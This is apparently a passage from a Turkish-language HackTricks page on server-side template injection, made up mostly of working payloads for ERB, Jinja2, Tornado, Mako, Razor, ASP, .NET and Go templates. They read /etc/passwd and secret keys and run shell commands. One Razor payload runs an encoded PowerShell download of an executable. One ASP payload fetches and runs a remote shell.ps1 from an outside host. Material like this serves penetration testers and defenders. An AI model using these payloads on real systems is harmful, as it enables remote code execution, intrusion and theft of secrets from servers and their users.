  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Diğer Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

python’da arbitrary command execution bypassing sandboxes hakkında püf noktalarını öğrenmek için aşağıdaki sayfayı inceleyin:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Resmi web sitesi

Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteğine sahiptir, isteğe bağlı entegre bir sandbox (izole edilmiş) yürütme ortamı sunar, yaygın olarak kullanılır ve BSD lisanslıdır.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE __builtins__’ten bağımsız __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja’yı kötüye kullanmaya dair daha fazla detay:

Jinja2 SSTI

Diğer payloads şurada https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Diğer Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start yöntemi sunucuda herhangi bir işlemi başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zafiyetli bir webapp örneğini şu adreste bulabilirsiniz: https://github.com/cnotin/RazorVulnerableApp

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

.Net Kısıtlamalarını Aşma

.NET Reflection mekanizmaları karalistelemeyi veya assembly’de sınıfların mevcut olmamasını atlatmak için kullanılabilir. DLL’ler çalışma zamanında, temel nesnelerden erişilebilen yöntemler ve özelliklerle yüklenebilir.

DLL’ler şu şekilde yüklenebilir:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - dosya sisteminden.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - doğrudan istekten.

Tam komut yürütme:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Daha Fazla Bilgi

Mojolicious (Perl)

Perl olsa bile, Ruby’deki ERB benzeri etiketleri kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go’nun template motorunda, kullanımının doğrulanması belirli payload’larla yapılabilir:

  • {{ . }}: Veri yapısı girişini ortaya çıkarır. Örneğin, bir nesne Password özelliğine sahipse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: Beklendiği gibi “ssti” string’ini gösterir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu payload’lar “html” veya “js” eklemeden “ssti” döndürmelidir. Daha fazla yönerge için Go dokümantasyonuna bakabilirsiniz here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template paketi ile XSS, payload doğrudan eklenerek kolayca gerçekleştirilebilir. Buna karşılık, html/template paketi bunu önlemek için yanıtı encode eder (ör. {{"<script>alert(1)</script>"}} &lt;script&gt;alert(1)&lt;/script&gt; sonucunu verir). Yine de, Go’da template tanımı ve çağrımı bu encoding’i atlatabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation, html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü, herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” değerini kullanarak), bu html/template’de mümkün değildir. Bu modüllerin dokümantasyonu here for html/template ve here for text/template.

Go’da SSTI yoluyla RCE için, nesne metotları çağrılabilir. Örneğin, verilen nesnede komut çalıştıran bir System metodu varsa, {{ .System "ls" }} şeklinde sömürülebilir. Bunu sömürmek için genellikle kaynak koda erişmek gerekir, örneğin verilen örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

LESS (CSS Preprocessor)

LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import direktifini ekleyen popüler bir CSS pre-processor’udur. Derleme sırasında LESS motoru @import ifadelerinde referans verilen kaynakları getirir ve (inline) seçeneği kullanıldığında içeriklerini sonuç CSS’e gömerek (“inline”) embed eder.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Daha fazla exploit için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection içeriğine bakın. Ayrıca ilginç tag bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.

BlackHat PDF

İlgili Yardım

Yararlı olabileceğini düşünüyorsanız, şu kaynakları okuyun:

Araçlar

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin